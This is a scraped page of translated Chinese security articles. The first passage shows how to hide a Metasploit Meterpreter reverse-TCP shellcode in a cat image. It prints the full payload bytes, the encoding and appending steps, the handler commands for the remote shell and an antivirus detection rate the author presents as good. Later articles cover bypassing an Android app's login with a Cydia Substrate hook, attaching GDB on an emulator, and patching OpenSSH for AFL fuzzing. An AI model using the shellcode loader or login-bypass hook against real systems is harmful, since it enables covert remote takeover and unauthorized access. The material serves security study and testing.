Moveax,FFFFAABB;将数据Move到EAX Andeax,FFFF;移除头部的FFFF Movebx,FFFFCCDD;将数据Move到EBX Movax,bx;EAX填充为AABBCCDD Pusheax;压入栈中 Jmpesp;跳转到载荷在栈中的地址并执行

出于混淆目的,我的代码中添加了一些异或处理过程,如果你有任何疑问,可以仔细研读代码并亲自动手试试代码的输出结果。


四、开始工作

我们先介绍一下如何使用MSFVENOM生成一段简单的载荷。你需要根据实际情况修改以下命令中的LPORT和LHOST参数值:

msfvenom-ax86–platformwindows-pwindows/meterpreter/reverse_tcpLHOST=1.2.3.4LPORT=5555-fc

输出结果如下所示,我标粗了其中的IP数据,以便读者替换为自己的IP(可以使用IP/Hex Converter这个工具)。

“\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30” “\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff” “\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52” “\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1” “\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b” “\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03” “\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b” “\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24” “\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb” “\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c” “\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68” “\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\x01\x02\x03\x04\x68\x02″ “\x00\x15\xb3\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea” “\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61” “\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00” “\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83” “\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a” “\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57” “\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00” “\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68” “\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff” “\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00” “\x53\xff\xd5”;

在我的混淆器中,将“SHELLCODE GOES HERE”这段替换为上述数据。使用如下gcc命令编译混淆器源码:

Gcc-std=c11LazyBitmaskEncoder.c-oencoder.exe

将程序的输出结果导出到文件中:

encoder.exe>somefile.txt
【技术分享】如何从猫咪图片中加载运行shellcode

在本文案例中,我有个值为31的额外字节,程序的警告信息提示我应该将它转化为经过异或处理的Nop指令(即7E),如下所示:


【技术分享】如何从猫咪图片中加载运行shellcode

现在我们需要得到上述汇编代码的字节码,网上可能有在线工具将汇编语言转化为字节码,在这里我使用的是Ram Michael开发的用于OllyDbg或X64dbg的MUA插件,如下所示:


【技术分享】如何从猫咪图片中加载运行shellcode

接下来我们选中这些字节码,在软件右键菜单中,选择“编辑”、“二进制拷贝”,将字节码拷贝出来。你也可以通过CTRL+INSERT组合键完成这个过程。


【技术分享】如何从猫咪图片中加载运行shellcode

然后我们将这些字节码附到图片的尾部。如前文所述,我们需要以相反顺序将它们附到图像尾部。在Linux中,要做到这一点十分简单。

以下是未做顺序变换处理前的字节码数据。


【技术分享】如何从猫咪图片中加载运行shellcode

我将这些数据保存到为“moo”文件,运行如下命令以获得正确顺序的数据。

foriin`catmoo`;doecho$i;done|tac|sed‘:a;N;$!ba;s/\n//g’
【技术分享】如何从猫咪图片中加载运行shellcode

现在我们需要将处理后的数据插入到图片中。选一张你最中意的猫咪图片,我选了如下一张暹罗猫图片。


【技术分享】如何从猫咪图片中加载运行shellcode

接下来是将那个shellcode拷贝到图片中。我们可以使用WxHexEditor以二进制形式打开图片,复制图片中的字节数据。需要时刻提醒自己,载荷必须放在尾部,如果你发现载荷不在尾部,那么你需要填充多个0x90直到shellcode的起始位置。


【技术分享】如何从猫咪图片中加载运行shellcode

图片尾部附加shellcode后如下图所示。保存为图片后,你会发现图像尾部存在一些微小的颜色失真现象。


【技术分享】如何从猫咪图片中加载运行shellcode

最后一个步骤,我们需要把这个图片放到Web服务器上,写个简单的程序,下载图片到内存中,跳转到正确地址,执行这段shellcode。最简单的一个方法还是通过汇编语言。

我写了一个汇编程序来完成这个任务。编译命令如下:

nasm-fwin32GhostExe.asm gcc-fno-use-linker-pluginGhostExe.obj-oGhostExe.exe

我建议你可以打开调试器,将调试器附加到某个在运行的进程中,一步一步跟下来,观察它执行的步骤以加深理解。

如果你选择使用调试器,你可以看一下GhostExe.exe在00401482位置的偏移量,这是接收数据之后所在的位置。你可以在ECX的尾部看到输出的载荷数据。

或者你可以直接使用Metasploit,运行exe让它自动化执行。

msf>useexploitmulti/handler msf>setpayloadwindows/meterpreter/reverse_tcp msf>setlhost<localIP> msf>setlport<localport> msf>setExitOnSessionfalse msf>exploit-j

以下是NoDistrubute.com给出的检测结果,只有1/35的检出率,非常好的一个结果。


【技术分享】如何从猫咪图片中加载运行shellcode

五、可选的调试步骤

我们可以看看调试步骤的一些截图


【技术分享】如何从猫咪图片中加载运行shellcode

定位到“JMP EAX”指令,这是我们从猫咪图片中跳转到shellcode的指令。


【技术分享】如何从猫咪图片中加载运行shellcode

是不是很眼熟:


【技术分享】如何从猫咪图片中加载运行shellcode

这就是我们原始的载荷:


【技术分享】如何从猫咪图片中加载运行shellcode

【技术分享】如何从猫咪图片中加载运行shellcode
【技术分享】如何从猫咪图片中加载运行shellcode
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://resources.infosecinstitute.com/launching-shellcode-cat-pictures/

【系列分享】安卓Hacking Part 22:基于Cydia Substrate扩展的Android应用的钩子和补丁技术

$
0
0
【系列分享】安卓Hacking Part 22:基于Cydia Substrate扩展的Android应用的钩子和补丁技术

2017-04-01 10:03:55
来源:infosecinstitute.com 作者:shan66

阅读:314次
点赞(0)
收藏





【系列分享】安卓Hacking Part 22:基于Cydia Substrate扩展的Android应用的钩子和补丁技术

翻译:shan66

预估稿费:150RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


概述

在之前的文章中,我们已经讨论了如何在Android上利用可调试应用程序的漏洞,具体可以参考这篇文章。通过JDB来利用可调试应用程序的漏洞这种方法存在一些局限性,因为它要求应用程序的可调试标志必须设置为true,这样才能在实际设备上达到我们的目的。此外,我们已经看到,设置断点和控制流程都是通过命令行方式来实现的。虽然这种技术在分析应用程序方面非常有用,但我们仍然需要一个解决方案,以便在应用程序运行过程中即时控制应用程序的执行流程。实际上,像Cydia Substrate、Xposed Framework和Frida之类的工具,在这方面有着非常出色的表现。至于Xposed和Frida框架,我们将在后续文章中加以介绍,而在本文中,我们将专注于演示如何通过编写Cydia Substrate扩展来控制应用程序流程。

在继续阅读下文之前,您需要:

1. 在已经获得root权限的 Android设备安装好Cydia Substrate。

2. Cydia Substrate应用程序可以从这里下载。

3. 使用您最喜爱的IDE创建一个新的Android应用程序(这里是Cydia Substrate扩展),并将底层的api.jar库添加到您的libs文件夹中。Substrate-api.jar可以从这里下载。

4. 目标应用程序—— 您可以从下面的链接下载:


下载

现在,我们开始编写“Substrate”扩展。像我的其他文章一样,我们这里有一个带有安全漏洞的应用程序;并且,我们将通过Cydia Substrate扩展来利用这个漏洞。以下是我们的目标应用程序的第一个activity。


【系列分享】安卓Hacking Part 22:基于Cydia Substrate扩展的Android应用的钩子和补丁技术

当用户输入无效的凭证时,它会抛出错误,如下图所示。


【系列分享】安卓Hacking Part 22:基于Cydia Substrate扩展的Android应用的钩子和补丁技术

我们的目标是通过编写一个Cydia Substrate扩展来绕过登录。很明显,我们首先需要了解应用程序的具体逻辑,然后才能有针对性地编写相应的Substrate扩展。

我们可以将这个APK反编译为Java代码,从而了解这个应用程序的运行逻辑。为了简单起见,我这里将给出其源码,因为这里的主旨是理解如何编写Cydia Substrate扩展,所以不妨假设我们可以访问应用程序的逻辑。

以下是Login.java的代码段

Login.java packagecom.androidpentesting.targetapp; if(isValidLogin(username,password)) { Intentin=newIntent(getApplicationContext(),Welcome.class); startActivity(in); } else{ Toast.makeText(getApplicationContext(),“InvalidUsernameorpassword”,Toast.LENGTH_LONG).show(); } publicbooleanisValidLogin(Stringusername,Stringpassword) { Stringuname=pref.getString(“username”,null); Stringpass=pref.getString(“password”,null); if(username.contentEquals(uname)&&password.contentEquals(pass)) { returntrue; } else{ returnfalse; } }

如上面的代码片段所示,应用程序从用户那里接收用户名和密码,然后将其与SharedPreferences中存储的值进行比较。如果用户输入的凭据与相应的值相匹配,那么应用程序就会返回布尔值true,然后将该用户重定向到一个私有的activity。这简直就是一个完美的试验对象,我们正好可以借助它来演示如何编写Cydia扩展,以便无论用户输入什么内容,该应用程序都会返回true。

从上面的代码片段获得的细节信息有:

类名: com.androidpentesting.targetapp.Login

方法名:isValidLogin

好了,让我们开始吧。

如Cydia Substrate文档中所说的那样,我们首先需要配置自己的AndroidManifest.xml文件。

我们需要在AndroidManifest.xml文件中添加两项内容,具体如下面的代码所示。

<manifestxmlns:android=”http://schemas.android.com/apk/res/android” package=”com.androidpentesting.cydia” android:versionCode=”1″ android:versionName=”1.0″> <uses-permissionandroid:name=”cydia.permission.SUBSTRATE”/> <uses-sdk android:minSdkVersion=”8″ android:targetSdkVersion=”21″/> <application android:allowBackup=”true” android:icon=”@drawable/ic_launcher” android:label=”@string/app_name” android:theme=”@style/AppTheme”> <meta-dataandroid:name=”com.saurik.substrate.main” android:value=”.BypassLogin”/> </application> </manifest>

1.首先,我们需要申请cydia.permission.SUBSTRATE权限。

2. 我们需要在application部分中添加meta-data元素。

现在,我们终于来到了最有趣的部分。我们需要编写实际的实现代码,来钩住我们的目标方法,该方法负责验证用户凭据,然后修改其定义。

为了实现上面的目的,我们需要用到两个重要的函数。

MS.hookClassLoad MS.hookMethod

MS.hookClassLoad可用于在加载类时查找我们感兴趣的类。

MS.hookMethod可用于对目标方法进行相应的修改。

有关这些方法到底做什么以及它们运行机制的更多细节,请参考这里和这里。

现在,我们来创建一个名为BypassLogin的新类。加载这个扩展时,会首先执行initialize()方法。

所以,我们需要在BypassLogin类中编写的框架代码如下所示。

PublicclassMain{ staticvoidinitialize(){ //codetorunwhenextensionisloaded } }

现在,我们需要编写在加载com.androidpentesting.targetapp.Login类时执行检测任务的相关代码。如前所述,我们可以使用MS.hookClassLoad来实现。

MS.hookClassLoad(“com.androidpentesting.targetapp.Login”,newMS.ClassLoadHook(){ publicvoidclassLoaded(Class<?>resources){ //…codetomodifytheclasswhenloaded } });

当这个类加载时,我们:

1. 需要编写一段代码来检查我们的目标方法是否存在。

2. 如果该方法不存在,在logcat中记录下来。

3. 如果该方法已经存在,请使用MS.hookMethod修改其定义。

就是这样。

下面给出实现上述步骤的具体代码。

MethodmethodToHook; try{ methodToHook=resources.getMethod(“isValidLogin“,String.class,String.class); }catch(NoSuchMethodExceptione){ methodToHook=null; } if(methodToHook==null){ Log.v(“cydia”,”Nomethodfound”); } else{ MS.hookMethod(resources,methodToHook,newMS.MethodAlteration<Object,Boolean>(){ publicBooleaninvoked(Object_class,Object…args)throwsThrowable { returntrue; } }); }

其中,红色突出显示的部分是需要我们重点关注的内容。通过源代码我们可以发现,目标应用程序的isLoginMethod需要两个字符串参数,因此在resources.getMethod()中,这个方法名称后面使用了两次String.class。

当检测到该方法时,无论实际的实现代码如何,我们只会返回真值。

下面给出我们的完整代码。

packagecom.androidpentesting.cydia; importjava.lang.reflect.Method; importandroid.util.Log; importcom.saurik.substrate.*; publicclassBypassLogin{ publicstaticvoidinitialize(){ MS.hookClassLoad(“com.androidpentesting.targetapp.Login”,newMS.ClassLoadHook(){ @SuppressWarnings({“unchecked”,“rawtypes”}) publicvoidclassLoaded(Class<?>resources){ MethodmethodToHook; try{ methodToHook=resources.getMethod(“isValidLogin”,String.class,String.class); }catch(NoSuchMethodExceptione){ methodToHook=null; } if(methodToHook==null){ Log.v(“cydia”,”Nomethodfound”); } else{ MS.hookMethod(resources,methodToHook,newMS.MethodAlteration<Object,Boolean>(){ publicBooleaninvoked(Object_class,Object…args)throwsThrowable { returntrue; } }); } } }); } }

现在,就像安装正常的应用程序一样来安装这个扩展程序,并重新启动设备来激活该扩展。然后,请再次启动目标应用程序。当您单击Login按钮时,您将自动重定向到登录屏,从而绕过验证检查。


【系列分享】安卓Hacking Part 22:基于Cydia Substrate扩展的Android应用的钩子和补丁技术

很好! 我们成功绕过了认证。当您需要绕过客户端控件时,Cydia Substrate扩展是可以帮上大忙的。这方面的例子包括绕过root权限检测、绕过SSL Pinning等。


传送门

安卓 Hacking Part 1:应用组件攻防(连载)

安卓 Hacking Part 2:Content Provider攻防(连载)

安卓 Hacking Part 3:Broadcast Receivers攻防(连载)

安卓 Hacking Part 4:非预期的信息泄露(边信道信息泄露)

安卓 Hacking Part 5:使用JDB调试Java应用

安卓 Hacking Part 6:调试Android应用

安卓 Hacking Part 7:攻击WebView

安卓 Hacking Part 8:Root的检测和绕过

安卓 Hacking Part 9:不安全的本地存储:Shared Preferences

安卓 Hacking Part 10:不安全的本地存储

安卓 Hacking Part 11:使用Introspy进行黑盒测试

安卓 Hacking Part 12:使用第三方库加固Shared Preferences

安卓 Hacking Part 13:使用Drozer进行安全测试

安卓 Hacking Part 14:在没有root的设备上检测并导出app特定的数据

安卓 Hacking Part 15:使用备份技术黑掉安卓应用

安卓 Hacking Part 16:脆弱的加密

安卓 Hacking Part 17:破解Android应用

安卓 Hacking Part 18:逆向工程入门篇

安卓 Hacking Part 19:NoSQL数据库不安全的数据存储

安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序



【系列分享】安卓Hacking Part 22:基于Cydia Substrate扩展的Android应用的钩子和补丁技术
【系列分享】安卓Hacking Part 22:基于Cydia Substrate扩展的Android应用的钩子和补丁技术
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://resources.infosecinstitute.com/android-hacking-and-security-part-22-hooking-and-patching-android-apps-using-cydia-substrate-extensions/#article

【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

$
0
0
【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

2017-03-31 14:05:05
来源:infosecinstitute.com 作者:shan66

阅读:2035次
点赞(0)
收藏





【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

翻译:shan66

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

在本文中,我们将介绍如何对运行在已经取得root权限的Android设备或模拟器上的进程进行调试。调试进程是一个非常重要的任务,因为通过这种方式,我们就能在应用程序中查找内存损坏等安全漏洞。


准备工作

1.设置一个Android模拟器

2. 安装NDK - 可以从下面的链接进行下载

http://developer.android.com/tools/sdk/ndk/index.html

然后,我们要做些什么呢?

其实我们要做的事情并不复杂:

1. 在模拟器上设置GDB服务器

2. 从客户端连接到GDB服务器

3. 开始调试

好了,让我们开始吧。


使用GDB在Android模拟器上调试APP

第一步是将gdb服务器推送到模拟器上。我们希望能够从设备中的任何位置访问它,为此,一种方法是将其放在/ system / bin目录下。

我们首先使用“adb”获取设备上的shell,并运行“mount”命令,具体如下所示。


【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

从上图可以看出,在这里/ system是以“ro”权限进行安装的。因为我们需要在这里写一些文件,所以我们需要用“rw”重新安装它,具体命令如下所示。


【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

现在我们来看看“mount”命令。


【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

不知您是否注意到了,现在/system分区是以"rw"权限挂载的。

下面,我们将gdbserver推送到模拟器。

导航到NDK目录并寻找ARM二进制代码所在位置。在我的机器中,它位于“prebuilt / android-arm”目录下面,如下所示。


【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

使用“adb push”命令将gdbserver推送到模拟器上。


【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

为了验证是否上传成功,请使用“adb”在设备上获取shell,并键入以下命令。

“gdbserver–help”
【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

从上图可以看出,gdb服务器一切正常。

我们还可以检查gdbserver的版本,具体命令如下图所示。


【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

我们可以看到,目标进程的进程ID是1234。

下图显示了如何使用gdbserver附加到这个进程。


【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

注意:我们也可以使用以下命令直接挂接到该程序中。

gdbserver:8888[filename][arguments]

现在,gdbserver正在运行。一旦运行完成,我们需要使用“adb forward”转发端口8888,具体如下所示。


【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

完成上述所有步骤后,我们就可以启动预编译的gdb客户端了。

我们可以使用下图中的命令来启动预编译的gdb客户端,如下所示。


【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

从上图可以看出,我们会得到一个gdb控制台。现在,我们需要连接到运行在模拟器上的gdbserver实例上,具体方法如下所示。


【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

好极了! 我们现在终于可以与目标进程进行交互了。让我们列出寄存器清单。


【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序

至于你可以用本文介绍的配置来做什么,那就要看你的想象力了。在后面的文章中,我将为读者演示如何使用相同的配置,通过GDB在NDK应用程序中探测内存损坏漏洞。


传送门

安卓 Hacking Part 1:应用组件攻防(连载)

安卓 Hacking Part 2:Content Provider攻防(连载)

安卓 Hacking Part 3:Broadcast Receivers攻防(连载)

安卓 Hacking Part 4:非预期的信息泄露(边信道信息泄露)

安卓 Hacking Part 5:使用JDB调试Java应用

安卓 Hacking Part 6:调试Android应用

安卓 Hacking Part 7:攻击WebView

安卓 Hacking Part 8:Root的检测和绕过

安卓 Hacking Part 9:不安全的本地存储:Shared Preferences

安卓 Hacking Part 10:不安全的本地存储

安卓 Hacking Part 11:使用Introspy进行黑盒测试

安卓 Hacking Part 12:使用第三方库加固Shared Preferences

安卓 Hacking Part 13:使用Drozer进行安全测试

安卓 Hacking Part 14:在没有root的设备上检测并导出app特定的数据

安卓 Hacking Part 15:使用备份技术黑掉安卓应用

安卓 Hacking Part 16:脆弱的加密

安卓 Hacking Part 17:破解Android应用

安卓 Hacking Part 18:逆向工程入门篇

安卓 Hacking Part 19:NoSQL数据库不安全的数据存储



【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序
【系列分享】安卓Hacking Part 20:使用GDB在Android模拟器上调试应用程序
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://resources.infosecinstitute.com/android-hacking-and-security-part-20-debugging-apps-on-android-emulator-using-gdb/#article

【技术分享】OpenSSH模糊测试技巧之AFL的妙用(一)

$
0
0
【技术分享】OpenSSH模糊测试技巧之AFL的妙用(一)

2017-04-01 11:23:21
来源:blogspot.fr 作者:阿诺斯基

阅读:465次
点赞(0)
收藏





【技术分享】OpenSSH模糊测试技巧之AFL的妙用(一)

翻译:阿诺斯基

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

American Fuzzy Lop(AFL)是一个很不错的模糊测试工具。如果你想进阶它的高级用法,你需要做一些额外的设置和调整,但是在大多情况下它的功能只是开箱即用的。

在这篇文章中,我将详细介绍开始使用该工具Fuzz OpenSSH守护进程(sshd)的一些步骤,并给出一些模糊测试技巧,以帮助你更快地获得测试结果。

AFL的主页中已经在其“奖杯案例”页面中显示了4个OpenSSH的Bug;这些都是由HannoBck发现的,他在模糊测试过程中使用了类似于由Jonathan Foote提出的如何使用AFL模糊测试服务器的方法。

我采取了一个稍微不同的方法,而且我认为这种方法更为简单:不需要拦截系统调用来伪造网络活动,我们只需要将OpenSSH的守护进程运行在“inetd模式”。 inet守护进程在现代linux发行版上不再被使用,此进程会设置监听的网络套接字,并启动一个新进程来处理每个新传入的网络连接。 之后,inetd会将网络套接字数据作为stdin / stdout传递给目标程序。因此,当sshd以inet模式启动时,它通过stdin / stdout与单个客户端进行通信,这正是我们使用AFL进行模糊测试所需要的。


配置和构建AFL

如果你刚刚开始使用AFL,你可能只需在顶级AFL目录中输入make来编译所有内容,它就可以工作了。但是,我想使用一些更高级的功能,特别是我想编译sshd使用基于LLVM的仪器(这比AFL使用默认情况下“由sed组装转换”稍快)。使用LLVM还允许我们将目标程序的“fork point”从刚刚进入main()之前移动到任意位置(在AFL中称为“延迟forkserver模式”);这意味着我们可以跳过OpenSSH中的一些设置操作,最明显的是读/解析配置和加载私钥。

使用LLVM模式的大多数步骤在AFL的llvm_mode / README.llvm中有详细说明。在Ubuntu上,您应该安装clang和llvm软件包,然后从顶层AFL目录运行make -C llvm_mode,这很简单。你应该得到一个称为afl-clang-fast的二进制,这是我们将要用来编译sshd。


配置和构建OpenSSH

由于我用的是Linux,所以我使用的是OpenSSH的“便携式”版本,这样可以很方便地使用git(相对于仍然使用CVS 的OpenBSD版本来说)。从Git克隆到本地

git://anongit.mindrot.org/openssh.git

运行autoreconf生成configure脚本。下面是我运行的配置脚本:

./configure\ CC="$PWD/afl-2.39b/afl-clang-fast"\ CFLAGS="-g-O3"\ --prefix=$PWD/install\ --with-privsep-path=$PWD/var-empty\ --with-sandbox=no\ --with-privsep-user=vegard

很显然你需要传递afl-clang-fast的正确路径。我还在当前(OpenSSH根目录)目录中创建了两个目录,install和var-empty。这是为了使我们在运行make install命令时不需要root权限(虽然var-empty需要700模式并且所有者为root),并且没有冒着破坏任何系统文件的风险(这将是非常糟糕的事情,因为我们稍后要禁用登陆认证和加密!)。我们有必要运行make install命令,即使我们不从安装目录运行sshd。这是因为运行sshd需要一些私钥,我新建的目录就是sshd寻找私钥的地方。

如果一切顺利,运行make命令后应该会显示AFL的banner信息并作为OpenSSH编译完成的标志。

你可能需要一些额外的库(Ubuntu上的zlib1g-dev和libssl-dev),以便构建成功。

运行make install将sshd安装到install /子目录(再次确认,请不要以root身份运行)。

我们将重建几次OpenSSH,因为我们需要对它应用一些补丁,但这给了你构建的基本要素。我注意到的一个特别坑爹的事情是,当你运行make命令时,OpenSSH并不能检测到源代码的更改(因此你的更改可能实际上不会变成二进制文件)。由于这个坑爹的原因,我习惯了在重新编译任何东西之前总是会运行一次make clean。


运行sshd

当我们可以在AFL下运行sshd之前,我们需要确定如何正确的使用所有的标志和选项来调用它。这是我使用的命令和参数:

./sshd-d-e-p2200-r-fsshd_config-i

下面是每个参数选项的意思:

-d“调试模式”。保持fork的守护程序,使它只接受一个单一的连接,并阻止它自己后台运行。所有这些有用的东西,都是我们需要的。 -e该选项会打印日志到stderr而不是syslog;这个选项首先防止了我们的模糊测试实例中的调试消息破坏你的系统日志,并且还提升了打印日志的速度。 -p2200要监听的TCP端口号。这在inetd模式(-i)中没有真正使用,但是当我们想要生成我们的第一个输入测试用例时,此选项就很有用。 -r这个选项没有详细的说明文档(或者至少在我的手册页中没有找到),但是你可以在源代码中找到该选项的意思,希望这能解释它的作用:阻止sshd重新执行自身。我认为这是一个安全的功能,因为它允许进程将自己与原始环境隔离。在我们的测试例子中,这个功能使得不必要事情变得复杂和缓慢,所以我们需要通过传递-r参数禁用此功能。 -fsshd_config使用当前目录中的sshd_config配置文件。此参数只是允许我们以后自己定制配置,而不必重新安装SSH或不确定它真正是从哪个位置加载了配置文件。 -i“Inetd模式”。如前所述,inetd模式将使服务器在stdin/stdout上处理单个连接,这是AFL对SSH进行模糊测试的完美选择(因为它会默认在程序的stdin上编写测试用例)。

继续并运行上述命令。它应该会打印出如下结果:

$./sshd-d-e-p2200-r-fsshd_config-i debug1:sshdversionOpenSSH_7.4,OpenSSL1.0.2g1Mar2016 debug1:privatehostkey#0:ssh-rsaSHA256:f9xyp3dC+9jCajEBOdhjVRAhxp4RU0amQoj0QJAI9J0 debug1:privatehostkey#1:ssh-dssSHA256:sGRlJclqfI2z63JzwjNlHtCmT4D1WkfPmW3Zdof7SGw debug1:privatehostkey#2:ecdsa-sha2-nistp256SHA256:02NDjij34MUhDnifUDVESUdJ14jbzkusoerBq1ghS0s debug1:privatehostkey#3:ssh-ed25519SHA256:RsHu96ANXZ+Rk3KL8VUu1DBzxwfZAPF9AxhVANkekNE debug1:setgroups()failed:Operationnotpermitted debug1:inetdsocketsafterdupping:3,4 ConnectionfromUNKNOWNport65535onUNKNOWNport65535 SSH-2.0-OpenSSH_7.4

如果你在上述命令执行的控制台中键入一些垃圾字符,然后按回车,它可能会给你输出“协议不匹配”的提示,然后退出。 这说明程序已经正常工作了!


检测程序崩溃/禁用特权分离模式

我遇到的第一个障碍是,我看到在我的系统日志中sshd崩溃了,但是AFL并没有及时的检测到程序崩溃:

[726976.333225]sshd[29691]:segfaultat0ip000055d3f3139890sp00007fff21faa268error4insshd[55d3f30ca000+bf000] [726984.822798]sshd[29702]:segfaultat4ip00007f503b4f3435sp00007fff84c05248error4inlibc-2.23.so[7f503b3a6000+1bf000]

问题是,OpenSSH带有一个“特权分离模式”,它fork了子进程并运行子进程中的大部分代码。如果子进行出现了segfault错误,父进行仍然会正常退出,因此它隐藏了AFL的segfault错误信息(它只是直接的观察父进程的活动)。

在版本7.4和更早的版本中,可以通过在命令行中将“UsePrivilegeSeparation no”添加到sshd_config配置文件或传递-o UsePrivilegeSeaparation = no来轻松的禁用特权分离模式。

不幸的是,看起来OpenSSH的开发人员正在删除版本7.5及更高版本中“禁用权限分离模式”的功能。这不是什么大问题,OpenSSH的维护者Damien Miller在Twitter上写道:“基础设施(译者注:他指的是源代码)就在那里,只需要改变一行代码就可以关闭权限分离模式。所以你可能需要潜入到sshd.c文件中以便在将来禁用掉权限分离模式。


减少随机性

OpenSSH在握手期间使用了随机串,以防止“重放攻击”,在此过程中你可以记录某人的(加密的)SSH会话数据,然后你需要再次将相同的数据提供给服务器以便再次进行身份验证。当使用随机串时,服务器和客户端将计算一组新的密钥,从而阻止了重放攻击。

在我们的模糊测试例子中,我们明确想要能够重放流量并连续两次获得相同的结果;否则,模糊器将不能从单个连接尝试中获得任何有用的数据(因为它发现的测试用例不能用于进一步的模糊测试)。

还有一种可能性,即随机性在与握手无关的其他代码路径中引入了可变性,但我并不知道。在任何情况下,我们可以轻松的禁用随机串生成器。在我的系统上,注意configure那一行上面的代码,所有或大多数随机串似乎都来自于openbsd-compat / arc4random.c中的arc4random_buf()函数,所以为了使随机串可预测,我们可以应用下面这个补丁:

diff--gitopenbsd-compat/arc4random.copenbsd-compat/arc4random.c ---openbsd-compat/arc4random.c +++openbsd-compat/arc4random.c @@-242,7+242,7@@void arc4random_buf(void*buf,size_tn) { _ARC4_LOCK(); -_rs_random_buf(buf,n); +memset(buf,0,n); _ARC4_UNLOCK(); } #endif/*!HAVE_ARC4RANDOM_BUF*/

测试这个补丁是否有效的一种方法是尝试捕获SSH会话的数据包,并查看它是否可以成功重放。为了创建我们的第一个输入测试用例,我们将不得不这样做,所以如果你想看看具体如何操作,请跳过下面的内容。在任何情况下,AFL也会告诉我们使用其“稳定性”指标来判断关于随机串的一些东西是否真正关闭了(> 95%表示稳定性是好的,<90%表示某些东西是关闭的,需要修复)。


增加覆盖面

禁用消息CRC

在模糊测试时,我们真的希望尽可能多的禁用校验和的检查,正如Damin Miller在twitter上写道:“fuzz的过程中通常也想要更改其他代码,如忽略MAC(消息认证码)或签名校验失败,以便能做更多的事情。这听起来有点奇怪,但实际上是完全有道理的:在真正的攻击场景中,我们可以修复CRC和其他校验和检查,以匹配程序所期望的结果。

如果我们不禁用校验和(我们不试图解决它们),那么fuzzer的测试进展会变得低效。在校验和保护区域中的单比特翻转中将仅使得校验和测试失败,并且不允许fuzzer继续进行下去。

我们当然可以在将数据传递到SSH服务器之前修复校验和,但是这种做法比较缓慢,复杂。最好在服务器中禁用校验和测试,然后尝试修复它,如果我们发现一个可能会导致已修改的服务器崩溃的测试用例。

我们可以禁用的第一个是数据包的CRC测试:

diff--gita/packet.cb/packet.c ---a/packet.c +++b/packet.c @@-1635,7+1635,7@@ssh_packet_read_poll1(structssh*ssh,u_char*typep) cp=sshbuf_ptr(state->incoming_packet)+len-4; stored_checksum=PEEK_U32(cp); -if(checksum!=stored_checksum){ +if(0&&checksum!=stored_checksum){ error("Corruptedcheckbytesoninput"); if((r=sshpkt_disconnect(ssh,"connectioncorrupted"))!=0|| (r=ssh_packet_write_wait(ssh))!=0)

据我所知,这是一个简单的(非加密)完整性检查逻辑,只是作为一个针对比特位翻转或不正确编码的数据的健康检查。

禁用MAC

我们还可以禁用消息认证码(MAC),这是一个等效于校验和的加密操作,同样也可以保证消息来自于预期的发送方:

